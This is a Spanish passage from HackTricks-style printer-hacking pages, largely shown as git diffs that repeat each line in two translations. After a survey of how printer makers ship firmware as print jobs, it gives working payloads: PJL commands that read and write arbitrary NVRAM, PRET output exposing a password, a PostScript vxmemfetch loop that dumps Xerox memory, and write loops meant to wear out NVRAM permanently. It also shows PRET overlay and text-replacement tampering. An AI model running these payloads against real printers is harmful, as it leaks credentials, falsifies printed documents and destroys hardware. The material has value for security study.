### Kyocera
Kyocera no libera firmware a los usuarios finales. Sin embargo, en un foro de distribuidores de Kyocera disponible públicamente, se enlazan descargas de firmware para varios modelos: [ftp.kdaconnect.com](ftp://ftp.kdaconnect.com/). Los archivos se pueden desempaquetar usando unp y contienen imágenes montables cramfs[\[14\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-14) y squashfs[\[15\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-15) así como formatos binarios propietarios. El firmware se implementa como un trabajo de impresión con `!R! UPGR'SYS';EXIT;` antepuesto: el comando de actualización del lenguaje de descripción de página PRESCRIBE [\[16\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-16). Kyocera no ha publicado ninguna información disponible públicamente sobre mecanismos de protección.
### Konica
Aunque no se promociona activamente, el firmware para impresoras Konica Minolta se puede descargar desde [download6.konicaminolta.eu](http://download6.konicaminolta.eu/). Los dispositivos más nuevos conectados a Internet tienen la capacidad de realizar actualizaciones de firmware por sí mismos. Los archivos comprimidos vienen en diferentes formatos y se pueden desempaquetar usando unp, unzip y tar, lo que resulta en 38 archivos binarios propietarios `.bin`, 20 módulos de impresora softload basados en PostScript para dispositivos más antiguos y 14 archivos de diferentes extensiones que contienen comandos PJL como `@PJL ENTER LANGUAGE=FIRMUPDATE`. El libro blanco de seguridad de Konica Minolta afirma que el firmware se verifica utilizando un valor hash [\[17\]](http://hacking-printers.net/wiki/index.php/Firmware_updates#cite_note-17). Se puede dudar de que tal esquema sea criptográficamente seguro.
## Resultados
De los diez fabricantes analizados, nueve utilizan comandos [PJL](http://hacking-printers.net/wiki/index.php/PJL) para todos o al menos algunos de sus procedimientos de actualización de firmware, lo que es un fuerte indicador de que las actualizaciones se implementan como trabajos de impresión ordinarios. El fabricante restante Kyocera aplica el lenguaje de descripción de página PRESCRIBE. Por lo tanto, se puede afirmar que es común en la industria de la impresión instalar nuevo firmware a través del propio canal de impresión y nombrar un **defecto de diseño importante** presente en casi cualquier dispositivo de impresora: **datos y código sobre el mismo canal**. Sin embargo, la explotación de este problema es difícil ya que para la mayoría de los fabricantes no se puede hacer una declaración razonada sobre los mecanismos de protección. Por lo tanto, un análisis en profundidad de los ataques de modificación de firmware debería ser parte de la investigación futura. A continuación se presenta un resumen de encabezados de archivos o tipos para todos los archivos de firmware obtenidos:
| Fabricante | Extensión | Cantidad | Encabezado de archivo o tipo |
| :--- | :--- | :--- | :--- |
| HP | rfu | 419 | @PJL UPGRADE SIZE=… |
| bdl | 206 | Formato binario FutureSmart | |
| Epson | rcx | 49 | Formato SEIKO EPSON EpsonNet |
| prn | 9 | @PJL ENTER LANGUAGE=DOWNLOAD | |
| brn | 7 | Binario desconocido, incluye archivo de configuración | |
| Dell | fls, fly | 30 | @PJL LPROGRAMRIP |
| prn | 25 | @PJL ENTER LANGUAGE=DOWNLOAD | |
| hd | 18 | @PJL FIRMWARE=… | |
| brn | 3 | Binario desconocido, incluye archivo de configuración | |
| ps | 2 | PostScript \(título: Actualización de Firmware\) | |
| pjl | 1 | @PJL ENTER LANGUAGE=FLASH | |
| Brother | djf | 79 | @PJL EXECUTE BRDOWNLOAD |
| blf | 9 | @PJL ENTER LANGUAGE=PCL | |
| Lexmark | fls | 63 | @PJL LPROGRAMRIP |
| bin, fls | 6 | Formato binario desconocido | |
| Samsung | hd | 33 | @PJL FIRMWARE=… |
| fls, hd0 | 4 | @PJL DEFAULT P1284VALUE=… | |
| Xerox | ps | 36 | PostScript \(título: Actualización de Firmware\) |
| dlm | 35 | Módulo Cargable Dinámico de Xerox | |
| prn, bin | 20 | @PJL ENTER LANGUAGE=DOWNLOAD | |
| hd | 16 | @PJL FIRMWARE=… | |
| brn | 10 | Binario desconocido, incluye archivo de configuración | |
| bin | 10 | @PJL SET JOBATTR="@SWDL" | |
| fls, hd, hde | 8 | @PJL DEFAULT P1284VALUE=… | |
| fls, xfc | 4 | @PJL ENTER LANGUAGE=XFLASH | |
| pjl | 3 | @PJL FSDOWNLOAD \[nombre\].rpm | |
| axf | 3 | Ejecutable AIF de RISC OS | |
| Ricoh | brn | 15 | @PJL FWDOWNLOAD… |
| bin | 14 | @PJL RSYSTEMUPDATE SIZE=… | |

View file

@ -1,28 +1,26 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Puedes intentar volcar la NVRAM y extraer información confidencial (como contraseñas) desde allí.**
**Puedes intentar volcar la NVRAM y extraer información confidencial (como contraseñas) de allí.**
En **PJL (Brother)** puedes acceder a **direcciones NVRAM arbitrarias** usando PJL como se muestra a continuación:
En **PJL (Brother)** puedes acceder a **direcciones arbitrarias de NVRAM** utilizando PJL como se muestra a continuación:
```bash
@PJL RNVRAM ADDRESS = X # read byte at location X
@PJL WNVRAM ADDRESS = X DATA = Y # write byte Y to location X
```
Puedes probar este ataque usando [**PRET**](https://github.com/RUB-NDS/PRET):
Puedes probar este ataque utilizando [**PRET**](https://github.com/RUB-NDS/PRET):
```bash
./pret.py -q printer pjl
Connection to printer established
@ -35,29 +33,26 @@ Writing copy to nvram/printer
............................................MyS3cretPassw0rd....................
................................................................................
```
Ciertos modelos de impresoras **Xerox** tienen un operador **PostScript** propietario llamado `vxmemfetch`, el cual permite a un atacante leer direcciones de memoria arbitrarias. Usando un bucle PostScript, esta característica puede ser fácilmente utilizada para volcar toda la memoria como se muestra a continuación (PRET no tiene este ataque, por lo que necesitarás enviar esta carga útil al puerto 9100 en una conexión `nc`):
Ciertos **modelos de impresoras Xerox** tienen un operador `vxmemfetch` de **PostScript** propietario incorporado, que permite a un atacante leer direcciones de memoria arbitrarias. Utilizando un bucle de PostScript, esta característica puede ser fácilmente utilizada para volcar toda la memoria como se muestra a continuación (PRET no tiene este ataque, por lo que necesitarás enviar este payload al puerto 9100 en una conexión `nc`):
```
/counter 0 def 50000 {
/counter counter 1 add def
currentdict /RRCustomProcs /ProcSet findresource begin
begin counter 1 false vxmemfetch end end == counter
/counter counter 1 add def
currentdict /RRCustomProcs /ProcSet findresource begin
begin counter 1 false vxmemfetch end end == counter
} repeat
```
**Más información aquí:** [**http://hacking-printers.net/wiki/index.php/Memory\_access**](http://hacking-printers.net/wiki/index.php/Memory\_access)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende AWS hacking de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,29 +1,27 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
La configuración a largo plazo de las impresoras y otros dispositivos integrados se almacena en la memoria no volátil ([NVRAM](https://en.wikipedia.org/wiki/Non-volatile\_random-access\_memory)), que se implementa tradicionalmente como [EEPROM](https://en.wikipedia.org/wiki/EEPROM) o como memoria [flash](https://en.wikipedia.org/wiki/Flash\_memory). Ambos componentes tienen una vida útil limitada. Hoy en día, los proveedores de memoria flash garantizan alrededor de 100,000 reescrituras antes de que puedan ocurrir errores de escritura.
Las configuraciones a largo plazo para impresoras y otros dispositivos integrados se almacenan en memoria no volátil ([NVRAM](https://en.wikipedia.org/wiki/Non-volatile\_random-access\_memory)), que tradicionalmente se implementa como [EEPROM](https://en.wikipedia.org/wiki/EEPROM) o como [memoria flash](https://en.wikipedia.org/wiki/Flash\_memory). Ambos componentes tienen una vida útil limitada. Hoy en día, los proveedores de memoria flash garantizan alrededor de 100,000 reescrituras antes de que puedan ocurrir errores de escritura.
## PJL
Para una prueba práctica de destrucción de la funcionalidad de escritura de NVRAM, se puede establecer continuamente el valor a largo plazo para el número de copias con diferentes valores para `X`:
Para una prueba práctica de destruir la funcionalidad de escritura de NVRAM, se puede configurar continuamente el valor a largo plazo para el número de copias con diferentes valores para `X`:
```
@PJL DEFAULT COPIES=X
```
Normalmente, antes de dejar de permitir la escritura, todos los parámetros NVRAM se fijan en el valor predeterminado de fábrica y todas las variables aún pueden ser cambiadas para el trabajo de impresión actual utilizando el comando `@PJL SET...`.
Generalmente, antes de dejar de permitir la escritura, los parámetros de NVRAM se fijan al valor predeterminado de fábrica y todas las variables aún podrían cambiarse para el trabajo de impresión actual utilizando el comando `@PJL SET...`.
Usando [PRET](https://github.com/RUB-NDS/PRET):
```
@ -42,30 +40,27 @@ NVRAM died after 543894 cycles, 18:46:11
```
## PostScript
En el caso de PostScript, es necesario encontrar una entrada en el diccionario currentsystemparams que sobreviva a un reinicio (y por lo tanto debe estar almacenada en algún tipo de NVRAM). Un buen candidato sería una contraseña de PostScript.\
PostScript puede ejecutar un script que corrompe su propia NVRAM:
Para PostScript, se necesita encontrar una entrada en el diccionario currentsystemparams que sobreviva a un reinicio (y por lo tanto debe estar almacenada en algún tipo de NVRAM). Un buen candidato sería una contraseña de PostScript.\
PostScript puede ejecutar un script que corrompa su propia NVRAM:
```
/counter 0 def
{ << /Password counter 16 string cvs
/SystemParamsPassword counter 1 add 16 string cvs
>> setsystemparams /counter counter 1 add def
/SystemParamsPassword counter 1 add 16 string cvs
>> setsystemparams /counter counter 1 add def
} loop
```
**Más información sobre estas técnicas se puede encontrar en** [**http://hacking-printers.net/wiki/index.php/Physical\_damage**](http://hacking-printers.net/wiki/index.php/Physical\_damage)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,27 +1,25 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/metodologia-pentesting"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Contenido de superposición
# Superposición de Contenido
Una forma sencilla de manipular la apariencia de las impresiones es **usando superposiciones**. \
[**PCL**](./#pcl) tiene una función documentada para poner **macros de superposición** encima de un documento. Desafortunadamente, esta función está **limitada al trabajo de impresión actual** y no se puede hacer permanente. \
[**PostScript**](./#postscript-ps) no ofrece tal funcionalidad por defecto, sin embargo, se puede programar en él **redefiniendo el operador showpage** que se encuentra en cada documento PostScript para imprimir la página actual. El atacante puede **engancharse allí**, ejecutar su propio código y luego llamar a la versión original del operador.\
Por lo tanto, puede superponer todas las páginas que se van a imprimir con un archivo EPS personalizado. Este hack se puede utilizar para **añadir gráficos o fuentes arbitrarias a las copias impresas de un documento** (es posible alterar por completo la apariencia de un documento superponiendo una página en blanco y luego añadiendo contenido personalizado).\
Obviamente, tal enfoque sólo puede tener éxito si se utiliza PostScript como controlador de impresora y no se establece ninguna `StartJobPassword`.
Una forma sencilla de manipular la apariencia de las impresiones es **usar** superposiciones. \
[**PCL**](./#pcl) tiene una función documentada para colocar **macros de superposición** encima de un documento. Desafortunadamente, esta característica está **limitada al trabajo de impresión actual** y no puede hacerse permanente. \
[**PostScript**](./#postscript-ps) no ofrece tal funcionalidad por defecto, sin embargo, se puede programar **redefiniendo el operador showpage** que se encuentra en cada documento PostScript para imprimir la página actual. El atacante puede **engancharse allí**, ejecutar su propio código y luego llamar a la versión original del operador.\
Por lo tanto, puede superponer todas las páginas a imprimir con un archivo EPS personalizado. Este hack puede usarse para **añadir gráficos o fuentes arbitrarios a copias impresas de un documento** (Es posible alterar completamente la apariencia de un documento superponiendo una página en blanco y luego añadiendo contenido personalizado).\
Obviamente, tal enfoque solo puede tener éxito si se usa PostScript como controlador de impresora y no se ha establecido una `StartJobPassword`.
![](http://hacking-printers.net/wiki/images/thumb/9/93/Overlay.jpg/300px-Overlay.jpg)
@ -37,16 +35,16 @@ printer:/> overlay overlays/smiley.eps
printer:/> cross whoa "HACKED"
printer:/> exit
```
# Reemplazo de contenido
# Reemplazo de Contenido
Incluso si un atacante puede poner una superposición sobre documentos existentes, no podrá **alterar valores específicos** en el documento original a menos que se conozca su estructura exacta. A veces, no solo se desea agregar contenido personalizado, sino **analizar y reemplazar partes** del documento existente. \
El problema de reemplazar texto en archivos PostScript se puede reducir al **problema de extraer cadenas** del documento renderizado. Esto no es trivial, porque las cadenas pueden ser construidas dinámicamente por el programa PostScript en sí mismo. Por lo tanto, el análisis y reemplazo simple dentro del código fuente del documento no es una opción. \
Se puede usar un **operador `show` redefinido**. El operador show acepta una cadena como entrada, que se pinta en una ubicación determinada de la página actual. Al redefinir el operador, se puede **extraer** el **texto** de manera elegante. Este enfoque también se puede utilizar para la **búsqueda y reemplazo** dirigidos en cadenas inmediatamente **antes** de que sean **pintadas**. \
El enfoque es **exitoso** para documentos PostScript basados en **LaTeX** que se envían directamente a la impresora, mientras que **falla** para archivos PostScript generados por **GIMP** que en lugar de cadenas **crean gráficos rasterizados** de su representación. El mismo problema ocurre para cualquier formato de documento, incluso PostScript en sí, cuando se procesa mediante CUPS. Teóricamente, dichas construcciones de lenguaje también podrían ser analizadas y deberían ser objeto de investigación adicional.
Incluso si un atacante puede colocar una superposición sobre documentos existentes, no podrá **alterar valores específicos** en el documento original a menos que se conozca su estructura exacta. A veces uno no solo quiere agregar contenido personalizado, sino **analizar y reemplazar partes** del documento existente. \
El problema de reemplazar texto en archivos PostScript se puede reducir al **problema de extraer cadenas** del documento renderizado. Esto no es trivial, porque las cadenas pueden ser construidas dinámicamente por el propio programa PostScript. Por lo tanto, el análisis y reemplazo simple dentro del código fuente del documento no es una opción.\
Puedes usar un **operador `show` redefinido**. El operador show acepta una cadena como entrada, que se pinta en una ubicación determinada de la página actual. Al redefinir el operador, el **texto** puede ser **extraído** de manera elegante. Este enfoque también se puede utilizar para **buscar y reemplazar** de manera dirigida en cadenas inmediatamente **antes** de que sean **pintadas**. \
El enfoque es **exitoso** para documentos PostScript basados en **LaTeX** que se envían directamente a la impresora mientras **falla** para archivos PostScript generados por **GIMP** que en lugar de cadenas **crea gráficos rasterizados** de su representación. El mismo problema ocurre para cualquier formato de documento incluso el propio PostScript cuando es procesado por CUPS. Teóricamente, tales construcciones de lenguaje también podrían ser analizadas y deberían ser objeto de futuras investigaciones.
**¿Cómo probar este ataque?**
Use el comando `replace` de **PRET** en modo ps, luego desconéctese e imprima un documento PostScript que contenga 'DEF':
Usa el comando `replace` de [**PRET**](https://github.com/RUB-NDS/PRET) en modo ps, luego desconecta e imprime un documento PostScript que contenga DEF:
```
./pret.py -q printer ps
Connection to printer established
@ -57,16 +55,14 @@ printer:/> exit
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,36 +1,34 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
